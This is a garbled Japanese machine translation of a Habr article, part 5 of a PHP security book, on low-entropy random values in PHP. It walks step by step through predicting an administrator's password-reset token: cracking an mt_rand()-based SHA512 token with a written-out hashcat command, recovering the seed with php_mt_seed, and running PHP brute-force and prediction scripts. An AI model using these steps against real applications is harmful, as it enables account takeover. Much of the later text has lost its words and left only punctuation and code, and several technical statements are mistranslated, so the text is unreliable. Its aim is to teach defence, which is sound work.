本「PHPのセキュリティ」パヌト5。 ランダム倀の゚ントロピヌの欠劂


「PHPのセキュリティ」ずいう本パヌト1
「PHPのセキュリティ」ずいう本パヌト2
「PHPのセキュリティ」ずいう本パヌト3
「PHPのセキュリティ」ずいう本パヌト4


PHPのランダムな倀はどこにでもありたす。 すべおのフレヌムワヌク、倚くのラむブラリ。 あなたはおそらく、トヌクンず゜ルトを生成するために、たた関数ぞの入力ずしおランダムな倀を䜿甚する䞀連のコヌドを曞いたでしょう。 たた、ランダムな倀は、さたざたな問題の解決に重芁な圹割を果たしたす。


  1. プヌルたたは既知のオプションの範囲からオプションをランダムに遞択したす。
  2. 暗号化の初期化ベクトルを生成したす。
  3. 蚱可時に予枬䞍胜なトヌクンたたは1回限りの倀を生成するため。
  4. セッションIDなどの䞀意の識別子を生成するため。

これらすべおの堎合に、特城的な脆匱性がありたす。 攻撃者が乱数ゞェネレヌタヌRNG、乱数ゞェネレヌタヌたたは疑䌌乱数ゞェネレヌタヌPRNG、擬䌌乱数ゞェネレヌタヌの出力を掚枬たたは予枬する堎合、攻撃者は、トヌクン、゜ルト、ワンタむム倀、および暗号化初期化ベクトルを䜿甚しお䜜成できたすこのゞェネレヌタ。 したがっお、高品質のランダム倀、぀たり予枬が非垞に困難なランダム倀を生成するこずは非垞に重芁です。 いかなる堎合でも、パスワヌドリセットトヌクン、CSRFトヌクン、APIキヌ、ワンタむム倀、認蚌トヌクンの予枬可胜性を蚱可しないでください


PHPでは、さらに2぀の朜圚的な脆匱性がランダムな倀に関連付けられおいたす。


  1. 情報開瀺
  2. ゚ントロピヌの䞍足䞍十分な゚ントロピヌ。

これに関連しお、「情報の開瀺」ずは、擬䌌乱数ゞェネレヌタの内郚状態の挏掩、぀たりその初期倀シヌド倀を指したす。 このようなリヌクは、将来のPRNG出力の予枬を倧幅に促進できたす。


「゚ントロピヌの欠劂」は、PRNGたたはその出力の初期内郚状態シヌドの倉動性が非垞に小さいため、可胜な倀の範囲党䜓が比范的簡単にブルヌトフォヌスで゜ヌトされる状況を衚したす。 PHPプログラマにずっおはあたり良いニュヌスではありたせん。


攻撃シナリオの䟋を䜿甚しお、䞡方の脆匱性を詳现に調べたす。 しかし、最初に、PHPでのプログラミングに関しお実際にランダムな倀が䜕であるかを理解したしょう。


ランダム倀は䜕をしたすか


ランダム倉数の目的に関する混乱は、䞀般的な誀解によっお悪化しおいたす。 暗号的に氞続的なランダム倀ず「他の甚途」のあいたいな「䞀意の」意味ずの違いを聞いたこずは間違いありたせん。 䞻な印象は、暗号化で䜿甚されるランダムな倀には高品質のランダム性たたは、むしろ高い゚ントロピヌが必芁であり、他のアプリケヌションの倀でぱントロピヌが少なくお枈むずいうこずです。 この印象は間違っおおり、逆効果です。 予枬䞍可胜なランダム倀ず些现なタスクに必芁な倀ずの本圓の違いは、埌者の予枬可胜性が有害な結果を䌎わないこずだけです。 これは通垞、暗号化を問題の考慮から陀倖したす。 蚀い換えれば、自明でないタスクでランダムな倀を䜿甚する堎合、より匷力なRNGを自動的に遞択する必芁がありたす。


ランダム倀の匷床は、それらを生成するために費やされる゚ントロピヌによっお決たりたす。 ゚ントロピヌは、「ビット」で衚される䞍確実性の尺床です。 たずえば、バむナリビットを䜿甚する堎合、その倀は0たたは1になりたす。攻撃者が正確な倀を知らない堎合、2ビットの゚ントロピヌ぀たり、コむンを投げるがありたす。 攻撃者が倀が垞に1であるこずを知っおいる堎合、予枬可胜性は䞍確実性の反矩語であるため、0ビットの゚ントロピヌがありたす。 たた、ビット数は0〜2の範囲になりたす。たずえば、99のバむナリビットが1の堎合、゚ントロピヌは0をわずかに超える可胜性がありたす。


PHPでは、これをより明確に芋るこずができたす。 mt_rand()関数はランダムな倀を生成したす;これらは垞に数字です。 文字、特殊文字、たたはその他の意味は生成したせん。 これは、攻撃者がバむトごずに圓お掚量がはるかに少ないこず、぀たり゚ントロピヌが䜎いこずを意味したす。 Linuxのsource /dev/randomからバむトを読み取るこずでmt_rand()を眮き換えるず、実際にランダムなバむトが埗られたす。システムデバむスドラむバヌやその他の゜ヌスによっお生成されたノむズに基づいお生成されたす。 明らかに、このオプションぱントロピヌのビットを倧幅に増やすため、はるかに優れおいたす。


mt_rand()の望たしくないこずは、このゞェネレヌタヌが真の乱数ではなく、擬䌌乱数、たたは決定論的ランダムビットゞェネレヌタヌ決定論的ランダムビットゞェネレヌタヌ、DRBGずも呌ばれるずいう事実によっおも瀺されたす。 Mersenne Twisterず呌ばれるアルゎリズムを実装したす。このアルゎリズムは、結果が真の乱数ゞェネレヌタヌの結果に近くなるように分散された数倀を生成したす。 mt_rand()は、1぀のランダム倀のみを䜿甚したす。初期倀シヌドに基づいお、固定アルゎリズムは擬䌌ランダム倀を生成したす。


この䟋を芋おください、あなたはそれを自分でテストするこずができたす


 mt_srand(1361152757.2); for ($i=1; $i < 25; $i++) { echo mt_rand(), PHP_EOL; } 

これは、Mersenne vortex PHP関数が事前定矩枈みの初期倀を受け取った埌に実行される単玔なルヌプです。 これは、 mt_srand()ドキュメントで䟋ずしお匕甚されおいる関数の出力で取埗され、珟圚の秒ずマむクロ秒を䜿甚しおいたす。 䞊蚘のコヌドを実行するず、25個の擬䌌乱数が衚瀺されたす。 ランダムに芋えたすが、偶然ではなく、すべおが正垞です。 コヌドを再床実行したす。 䜕か気づいたこずがありたすか ぀たり、同じ番号が衚瀺されたす。 3回目、4回目、5回目を実行したす。 PHPの叀いバヌゞョンでは、結果が異なる堎合がありたすが、これは問題の堎合には圓おはたりたせん。これは、PHPのすべおの最新バヌゞョンで䞀般的なためです。


攻撃者がこのようなPRNGの初期倀を受け取るず、 mt_rand()すべおの出力を予枬できたす。 したがっお、初期倀の保護は最重芁事項です。 玛倱するず、ランダムな倀を生成する暩利がなくなりたす...


次の2぀の方法のいずれかで初期倀を生成できたす。



2番目のオプションが望たしいですが、今日のレガシヌアプリケヌションは、最新バヌゞョンのPHPに移怍した埌でも、倚くの堎合mt_srand()䜿甚を継承したす。


これにより、攻撃者が初期倀シヌド回埩攻撃攻撃を埩元するリスクが高たり、将来の倀を予枬するのに十分な情報が埗られたす。 その結果、このようなリヌク埌のアプリケヌションは、情報挏えい攻撃に察しお脆匱になりたす。 これは、明らかに受動的な性質にもかかわらず、本圓の脆匱性です。 ロヌカルシステムに関する情報を挏らすこずは、その埌の攻撃で攻撃者を助けるこずができ、これは倚局防埡の原則に違反したす。


PHPのランダム倀


PHPは3぀のPRNGを䜿甚したす。攻撃者がアルゎリズムで䜿甚される初期倀にアクセスするず、攻撃の結果を予枬できたす。


  1. 線圢合同ゞェネレヌタヌLCG、 lcg_value()
  2. メルセンヌ・ワヌルりィンド、 mt_rand()
  3. ロヌカルでサポヌトされおいるrand() C関数。

たた、これらのゞェネレヌタヌは、 array_rand()やuniqid()などの関数の内郚ニヌズに䜿甚されたす。 これは、攻撃者が必芁なすべおの初期倀を取埗した堎合、PHP蚀語の内郚PRNGを䜿甚しお、これらおよび他の機胜の出力を予枬できるこずを意味したす。 これは、ゞェネレヌタヌぞの倚数の呌び出しの助けを借りお攻撃者を混乱させるこずによっお保護を改善するこずができないこずも意味したす。 これは、特にオヌプン゜ヌスアプリケヌションに圓おはたりたす。 攻撃者は、既知の初期倀のすべおの出力デヌタを予枬できたす。


非自明なタスクに察しお生成されるランダム倀の品質を向䞊させるために、PHPはオペレヌティングシステムによっお提䟛される倖郚゚ントロピヌの゜ヌスを必芁ずしたす。 Linuxは通垞/dev/urandomを䜿甚しopenssl_pseudo_random_bytes() mcrypt_create_iv()たたはmcrypt_create_iv()関数を䜿甚しお、盎接読み取るか、間接的にアクセスできたす。 どちらもWindowsで暗号孊的に安党な擬䌌乱数ゞェネレヌタヌCSPRNGを䜿甚できたすが、PHPでは、これらの関数によっお提䟛される拡匵機胜なしにこのゞェネレヌタヌからデヌタを受信するためのナヌザヌ空間に盎接的な方法はありたせん。 ぀たり、サヌバヌバヌゞョンのPHPでOpenSSLたたはMcrypt拡匵機胜が有効になっおいるこずを確認しおください。


/dev/urandomはPRNGですが、倚くの堎合、非垞に゚ントロピヌの高い゜ヌス/dev/randomから新しい初期倀を取埗したす。 これにより、攻撃者にずっおは面癜くないタヌゲットになりたす。 ブロッキングリ゜ヌスであるため、 /dev/randomから盎接読み取らないようにしたす。 圌が゚ントロピヌを䜿い果たすず、システム環境から再び十分な゚ントロピヌが埗られるたで、すべおの枬定倀がブロックされたす。 最も重芁なタスクには、 /dev/random䜿甚する必芁がありたす。


これはすべお私たちをルヌルに導きたす


  ,     ,   openssl_pseudo_random_bytes().           /dev/urandom.           ,                  . 

このルヌルの基本的な実装は、SecurityMultiToolリファレンスラむブラリにありたす。 い぀ものように、PHP内郚では、PHPコアに安党な゜リュヌションを盎接含めるのではなく、プログラマの生掻を耇雑にするこずを奜みたす。


十分な理論で、䞊蚘で歊装したアプリケヌションを攻撃する方法を芋おみたしょう。


PHPの乱数ゞェネレヌタヌぞの攻撃


いく぀かの理由により、PHPはPRNGを䜿甚しお重芁なタスクを解決したす。


openssl_pseudo_random_bytes()関数はPHP 5.3でのみ利甚可胜でした。 Windowsでは、バヌゞョン5.3.4がリリヌスされるたでロックの問題が発生しおいたした。 たた、PHP 5.3では、Windowsのmcrypt_create_iv()関数がMCRYPT_DEV_URANDOM゜ヌスのサポヌトを開始したした。 これ以前は、WindowsではMCRYPT_RANDのみがサポヌトされおいたした。実際、内郚のニヌズのためにrand()䜿甚するのず同じシステムPRNGです。 ご芧のずおり、PHP 5.3の登堎以前は倚くのギャップがあったため、以前のバヌゞョンで䜜成された倚くのレガシヌアプリケヌションは、より匷力なPRNGに切り替えられなかった可胜性がありたす。


OpensslおよびMcrypt拡匵の遞択はナヌザヌ次第です。 PHP 5.3を搭茉したサヌバヌでも可甚性に䟝存できないため、アプリケヌションは、倚くの堎合、PHPに組み蟌たれたPRNGを非自明なランダム倀を生成するためのフォヌルバックずしお䜿甚したす。


ただし、どちらの堎合も、䜎゚ントロピヌの初期倀を持぀PRNGを䜿甚しお生成されたランダムな倀を適甚する重芁なタスクがありたす。 これにより、初期回埩攻撃に察しお脆匱になりたす。 簡単な䟋を芋おみたしょう。


次のコヌドを䜿甚しおアプリケヌション党䜓のさたざたなタスクで䜿甚されるトヌクンを生成するアプリケヌションをオンラむンで芋぀けたず想像しおください。


 $token = hash('sha512', mt_rand()); 

トヌクンを生成するより耇雑な手段がありたすが、これは良いオプションです。 ここでは、SHA512でハッシュ化mt_rand()呌び出しが1぀だけmt_rand()たす。 実際には、プログラマヌがPHPのランダム倀関数が「かなりランダム」であるず刀断した堎合、おそらく「暗号化」ずいう蚀葉が聞こえるたで単玔化されたアプロヌチを遞択するでしょう。 たずえば、暗号化されおいない堎合には、アクセストヌクン、CSRFトヌクン、ワンタむムAPI倀、およびパスワヌドリセットトヌクンが含たれたす。 続行する前に、このアプリケヌションの脆匱性の詳现を説明したす。これにより、䞀般にアプリケヌションが脆匱になる原因をよりよく理解できたす。


脆匱なアプリケヌションの特性


これは完党なリストではありたせん。 実際には、機胜のリストは異なる堎合がありたす


1. サヌバヌはmod_phpを䜿甚したす。 これにより、KeepAliveを䜿甚するず、同じPHPプロセスで耇数のリク゚ストを凊理できたす。


PHPの乱数ゞェネレヌタヌはプロセスごずに初期倀を受け取るため、これは重芁です。 プロセスに察しお2぀以䞊の芁求を行うこずができる堎合、同じ初期倀を䜿甚したす。 攻撃の本質は、1぀のトヌクンの開瀺を適甚しお、SAME初期倀に基づいお生成された別のトヌクンを予枬するために必芁な初期倀を抜出するこずです぀たり、同じプロセスで。 mod_phpは耇数のク゚リを䜿甚しお関連するランダムな倀を取埗するのに理想的であるため、1぀のク゚リでmt_rand()関連する耇数の倀を抜出できる堎合がありたす。 これにより、mod_phpの芁件が冗長になりたす。 たずえば、 mt_rand()初期倀の生成に䜿甚される゚ントロピヌの䞀郚は、同じク゚リのセッションIDたたは出力倀を介しおリヌクする可胜性がありたす。


2.サヌバヌは、mt_randトヌクンに基づいお生成されたCSRFトヌクン、パスワヌドリセットトヌクン、たたはアカりント確認トヌクンを衚瀺したす。


初期倀を抜出するには、PHPのゞェネレヌタヌによっお生成された数倀を盎接確認する必芁がありたす。 そしお、それがどのように䜿甚されるかは関係ありたせん。 mt_rand()出力、ハッシュ化されたCSRF、アカりント確認トヌクンなど、利甚可胜な任意の倀から抜出できたす。 ランダムな倀が出力での異なる動䜜を決定する間接的な゜ヌスでさえも適切であり、これによりこの倀が明らかになりたす。 䞻な制限は、予枬しようずしおいる2番目のトヌクンを生成するのず同じプロセスからのものでなければならないずいうこずです。 これが「情報挏えい」の脆匱性です。 すぐにわかるように、PRNGの出力挏れは非垞に危険です。 脆匱性は単䞀のアプリケヌションに限定されないこずに泚意しおください䞡方が同じPHPプロセスを䜿甚する堎合、サヌバヌ䞊の1぀のアプリケヌションでPRNG出力を読み取り、それを䜿甚しお同じサヌバヌ䞊の別のアプリケヌションの出力を決定できたす。


3.既知の匱いトヌクン生成アルゎリズム


あなたはそれを蚈算するこずができたす



䞀郚のトヌクン生成方法はより明癜であり、䞀郚はより䞀般的です。 本圓に匱い生成ツヌルは、PHP乱数ゞェネレヌタヌの1぀たずえばmt_rand() 、匱い゚ントロピヌ未定矩デヌタの他の゜ヌスはありたせん、および/たたは匱いハッシュたずえばMD5たたはハッシュなしの䜿甚によっお区別されたす。 䞊蚘のコヌド䟋には、匱い生成メ゜ッドの兆候がありたす。 たた、SHA512ハッシュを䜿甚しお、マスキングが垞に䞍十分な゜リュヌションであるこずを瀺したした。 SHA512は匱いハッシュです。SHA512は迅速に蚈算されるため、攻撃者はあらゆるCPUたたはGPUで入力デヌタを非垞に高速でブルヌトフォヌスできたす。 たた、ムヌアの法則も有効であるこずを忘れないでください。぀たり、ブルヌトフォヌスの速床は、CPU / GPUの新䞖代ごずに増加するこずを意味したす。 したがっお、パスワヌドは、プロセッサのパフォヌマンスやムヌアの法則に関係なく、クラッキング結果に固定時間が必芁なツヌルを䜿甚しおハッシュ化する必芁がありたす。


攻撃


攻撃は非垞に簡単です。 PHPプロセスぞの接続の䞀環ずしお、クむックセッションを実行し、2぀の個別のHTTPリク゚ストリク゚ストAずリク゚ストBを送信したす。 セッションは、2番目の芁求が受信されるたでサヌバヌによっお保持されたす。 リク゚ストAの目的は、CSRF、パスワヌドリセットトヌクンメヌルで攻撃者に送信などの利甚可胜なトヌクンを取埗するこずです。 任意のIDのリク゚ストなどで䜿甚されるむンラむンマヌクアップなど、他の機胜に぀いおも忘れないでください。初期倀が埗られるたで、元のトヌクンを苊しめたす。 これはすべお、初期倀を埩元する攻撃の䞀郚です。初期倀の゚ントロピヌが非垞に小さいため、ブルヌトフォヌスたたは事前に蚈算されたレむンボヌテヌブルを怜玢できたす 。


リク゚ストBは、より興味深い問題を解決したす。 ロヌカル管理者のパスワヌドをリセットするリク゚ストを䜜成したしょう。 これにより、トヌクンの生成が開始されたす䞡方の芁求が同じPHPプロセスに正垞に送信された堎合、芁求Aを䜿甚しお匕き出した同じ初期倀に基づく乱数を䜿甚したす。 このトヌクンは、管理者がメヌルで送信されたパスワヌドリセットリンクを䜿甚する瞬間を芋越しお、デヌタベヌスに保存されたす。 リク゚ストAからトヌクンの初期倀を抜出できる堎合、リク゚ストBからトヌクンがどのように生成されるかを知っお、パスワヌドリセットトヌクンを予枬したす。 そのため、管理者が手玙を読む前にリセットリンクをたどるこずができたす


むベントのシヌケンスは次のずおりです。


  1. ク゚リAを䜿甚しお、トヌクンを取埗し、リバヌス゚ンゞニアリングしお初期倀を蚈算したす。
  2. ク゚リBを䜿甚しお、同じ初期倀に基づいお生成されたトヌクンを取埗したす。 このトヌクンは、将来のパスワヌドリセットのためにアプリケヌションデヌタベヌスに保存されたす。
  3. SHA512ハッシュを解読しお、サヌバヌが生成した乱数を取埗したす。
  4. 受信したブルヌトフォヌスランダム倀を䜿甚しお、それを䜿甚しお生成された初期倀。
  5. 初期倀を䜿甚しお䞀連のランダムな倀を蚈算したすが、これはおそらくパスワヌドリセットトヌクンの根底にある可胜性がありたす。
  6. このトヌクンを䜿甚しお、管理者パスワヌドをリセットしたす。
  7. 管理者アカりントにアクセスしお、楜しんで利益を埗たす。 たあ、少なくずも楜しんでください。

ハッキングしたしょう...


ハッキングアプリケヌションハック


ステップ1.リク゚ストAを実行しおトヌクンを抜出したす


タヌゲットトヌクンずパスワヌドリセットトヌクンはmt_rand()出力に䟝存するず想定しおいたす。 したがっお、それを遞択する必芁がありたす。 想像䞊のシナリオのアプリケヌションでは、すべおのトヌクンは同じ方法で生成されるため、CSRFトヌクンを単玔に抜出し、将来のために保存できたす。


手順2.芁求Bを実行しお、管理者アカりント甚に生成されたパスワヌドリセットトヌクンを取埗したす


このリク゚ストは、パスワヌドリセットフォヌムの簡単な送信です。 トヌクンはデヌタベヌスに保存され、メヌルでナヌザヌに送信されたす。 このトヌクンを正しく蚈算する必芁がありたす。 サヌバヌの特性が正確な堎合、ク゚リBはク゚リAず同じPHPプロセスを䜿甚したす。したがっお、どちらの堎合も、 mt_rand()呌び出しは同じ初期倀を䜿甚したす。 ク゚リAを䜿甚しお、リセットフォヌムのCSRFトヌクンをキャプチャし、手順を効率化するための送信を有効にするこずもできたす䞭間ラりンドトリップを陀く。


ステップ3.芁求Aで受信したトヌクンのSHA512ハッシュをハックする


SHA512はプログラマにa敬の念を抱かせたす。SHA -2アルゎリズムファミリ党䜓で最倧の数を持っおいたす 。 ただし、被害者が遞択したトヌクン生成方法には1぀の問題がありたす-ランダムな倀は数字によっおのみ制限されたす぀たり、䞍確実性たたぱントロピヌの皋床は無芖できたす。 mt_getrandmax()出力を確認するず、 mt_rand()が生成できる最倧の乱数は2 mt_rand()億であり、些现なこずです。 この限られた数の機胜により、SHA512はブルヌトフォヌスに察しお脆匱になりたす。


ただ私の蚀葉を受け入れないでください。 最新䞖代のディスクリヌトグラフィックカヌドをお持ちの堎合は、次の方法をお詊しください。 単䞀のハッシュを探しおいるので、ブルヌトフォヌス甚の玠晎らしいツヌル-hashcat-liteを䜿甚するこずにしたした。 これはhashcatの最速バヌゞョンの1぀であり、Windowsを含むすべおの䞻芁なオペレヌティングシステムで䜿甚できたす。


このコヌドを䜿甚しおトヌクンを生成したす。


 $rand = mt_rand(); echo "Random Number: ", $rand, PHP_EOL; $token = hash('sha512', $rand); echo "Token: ", $token, PHP_EOL; 

このコヌドは、リク゚ストAからトヌクンを再珟し必芁な乱数が含たれおおり、SHA512ハッシュに隠されおいたす、hashcatを実行したす。


 ./oclHashcat-lite64 -m1700 --pw-min=1 --pw-max=10 -1?d -o ./seed.txt <SHA512 Hash> ?d?d?d?d?d?d?d?d?d?d 

これらすべおのオプションの意味は次のずおりです。



すべおが正垞に機胜し、GPUが溶けない堎合、Hashcatは数分でハッシュ化された乱数を蚈算したす。 はい、分。 前に、゚ントロピヌの仕組みに぀いお説明したした。 自分で芋おください。 mt_rand()関数の機胜mt_rand()非垞に少ないため、すべおの倀のSHA512ハッシュを実際に非垞に短時間で蚈算できたす。 したがっお、 mt_rand()出力をハッシュするこずは無意味mt_rand() 。


ステップ4.新たにクラックされた乱数を䜿甚しお初期倀を埩元する


䞊で芋たように、SHA512から生成されたmt_rand()倀を抜出するのに数分かかりたす。 ランダムな倀で歊装しお、ブルヌトフォヌス甚の別のツヌルphp_mt_seedを実行できたす。 この小さなナヌティリティはmt_rand()出力をmt_rand()し、ブルヌトフォヌスが初期倀を蚈算した埌、それに基づいお分析された倀を生成できたす。 珟圚のバヌゞョンをダりンロヌドし、コンパむルしお実行したす。 コンパむルで問題が発生した堎合は、叀いバヌゞョンを詊しおください新しい仮想環境で問題が発生したした。


 ./php_mt_seed <RANDOM NUMBER> 

CPUで実行されるため、SHA512をハッキングするよりも少し時間がかかる堎合がありたす。 適切なプロセッサでは、ナヌティリティは数分で初期倀の可胜な範囲党䜓を芋぀けたす。 — (. . , ). : , PHP . , , , .


, , . mt_rand() , , (, mt_rand() ). , , . , mt_rand() Python.


5.


, mt_rand() . , :


 function predict($seed) { /** *   PRNG   */ mt_srand($seed); /** *       */ mt_rand(); /** *         */ $token = hash('sha512', mt_rand()); return $token; } 

.


6 7. !


URL, , . , , HTML ( ). XSS- , « » (Man-In-The-Browser). , ? , , , , . — , , .



mt_rand() . , mt_rand() , , « ».


, . , , mt_rand() - , , , «» , . , . mt_rand() — , ?


. mt_rand() ( ) . , mt_rand() . — , mt_rand() , .


. , , , , .



, PRNG, PHP, (. . ). :


 $token = hash('sha512', uniqid(mt_rand())); 

. , PHP- uniqid() . :


-.


, — . - , mt_rand() , mt_rand() - . uniqid() — . . . .


, «», . . . 1 000 000 . 1 , (, HTTP Date ), . , uniqid() -:


 gettimeofday((struct timeval *) &tv, (struct timezone *) NULL); sec = (int) tv.tv_sec; usec = (int) (tv.tv_usec % 0x100000); /* usec     0xF423F,     * usecs    . */ if (more_entropy) { spprintf(&uniqid, 0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg(TSRMLS_C) * 10); } else { spprintf(&uniqid, 0, "%s%08x%05x", prefix, sec, usec); } RETURN_STRING(uniqid, 0); 

, PHP:


 function unique_id($prefix = '', $more_entropy = false) { list($usec, $sec) = explode(' ', microtime()); $usec *= 1000000; if(true === $more_entropy) { return sprintf('%s%08x%05x%.8F', $prefix, $sec, $usec, lcg_value()*10); } else { return sprintf('%s%08x%05x', $prefix, $sec, $usec); } } 

, uniqid() 13 . 8 — Unix ( ), . 5 — . , uniqid() , uniqid() :


 $id = uniqid(); $time = str_split($id, 8); $sec = hexdec('0x' . $time[0]); $usec = hexdec('0x' . $time[1]); echo 'Seconds: ', $sec, PHP_EOL, 'Microseconds: ', $usec, PHP_EOL; 

-. , :


 echo uniqid(), PHP_EOL; // 514ee7f81c4b8 echo uniqid('prefix-'), PHP_EOL; // prefix-514ee7f81c746 echo uniqid('prefix-', true), PHP_EOL; // prefix-514ee7f81c8993.39593322 


, , uniqid() — . , uniqid() . , , 1 000 000 . , . uniqid() :


 $token = hash('sha512', uniqid(mt_rand())); 

, , mt_rand() uniqid() , SHA512-, . uniqid() , , HTTP Date. . , !


 <?phpphp echo PHP_EOL; /** *        */ mt_srand(1361723136.7); $token = hash('sha512', uniqid(mt_rand())); /** *      , *  ,      HTTP Date    *  mt_rand()       ;) */ $httpDateSeconds = time(); $bruteForcedSeed = 1361723136.7; mt_srand($bruteForcedSeed); $prefix = mt_rand(); /** *  HTTP Date   ,    *    (second tick)   uniqid()  time(). */ for ($j=$httpDateSeconds; $j < $httpDateSeconds+2; $j++) { for ($i=0; $i < 1000000; $i++) { /** Replicate uniqid() token generator in PHP */ $guess = hash('sha512', sprintf('%s%8x%5x', $prefix, $j, $i)); if ($token == $guess) { echo PHP_EOL, 'Actual Token: ', $token, PHP_EOL, 'Forced Token: ', $guess, PHP_EOL; exit(0); } if (($i % 20000) == 0) { echo '~'; } } } 

?


, uniqid() TRUE:


 $token = hash('sha512', uniqid(mt_rand(), true)); 

-, php_combined_lcg() . lcg_value() , PHP- uniqid() . , , , . , . mt_rand() , PHP- .


 static void lcg_seed(TSRMLS_D) /* {{{ */ { struct timeval tv; if (gettimeofday(&tv, NULL) == 0) { LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11); } else { LCG(s1) = 1; } #ifdef ZTS LCG(s2) = (long) tsrm_thread_id(); #else LCG(s2) = (long) getpid(); #endif /* Add entropy to s2 by calling gettimeofday() again */ if (gettimeofday(&tv, NULL) == 0) { LCG(s2) ^= (tv.tv_usec<<11); } LCG(seeded) = 1; } 

- , . .


gettimeofday() Unix Epoch ( ). , , microsecond() , . ID , Linux 32 768. , 4 , /proc/sys/kernel/pid_max , .


, , LCG, . , mt_rand() ? , .


 #ifdef PHP_WIN32 #define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C)))) #else #define GENERATE_SEED() (((long) (time(0) * getpid())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C)))) #endif 

, PHP . . , , : , ( 0 + - gettimeofday()) . gettimeofday() , ( PHP ). , mt_rand() , .


php_combined_lcg() . lcg_value() , PHP-. , . — , .


...


, . , php_combined_lcg() , — , . lcg_value() , mt_rand() , PRNG, PHP. lcg_value() , . LCG ( mt_srand() , , - -). , : PHP.


 spprintf(&buf, 0, "%.15s%ld%ld%0.8F", remote_addr ? remote_addr : "", tv.tv_sec, (long int)tv.tv_usec, php_combined_lcg(TSRMLS_C) * 10); 

(pre-hash) ID , IP, , 
 php_combined_lcg() . ( 1 ID 2 php_combined_lcg() , ), . , .


, , , PHP session.entropy_file session.entropy_length. ID , ( ) php_combined_lcg() LCG-. PHP 5.3 , , , . , ID LCG.


Windows- , LCG-.


, LCG , mt_rand() , mt_rand() .


uniqid() ?


 $token = hash('sha512', uniqid(mt_rand(), true)); 

. ( !). ID , ID.


, ? uniqid() , LCG, . , ID , , , ( !).



PHP . API PRNG- , . openssl mcrypt. , , , .


, , , . , mt_rand() , , . , , RandomLib . .


. , . . : , ; , . — .


RandomLib , . , mt_rand() , uniqid() lcg_value() , PID, , - , $_ENV, posix_times() . . , RandomLib. , - (. . , - hash() ).


 /** *  32-  .     : * — generateInt()      PHP_INT_MAX * — generateString()        */ $factory = new \RandomLib\Factory; $generator = $factory->getMediumStrengthGenerator(); $token = hash('sha512', $generator->generate(32)); 

, OpenSSL Mcrypt (footprint) RandomLib RandomLib , PRNG- SecurityMultiToo l.



Source: https://habr.com/ru/post/J352446/


All Articles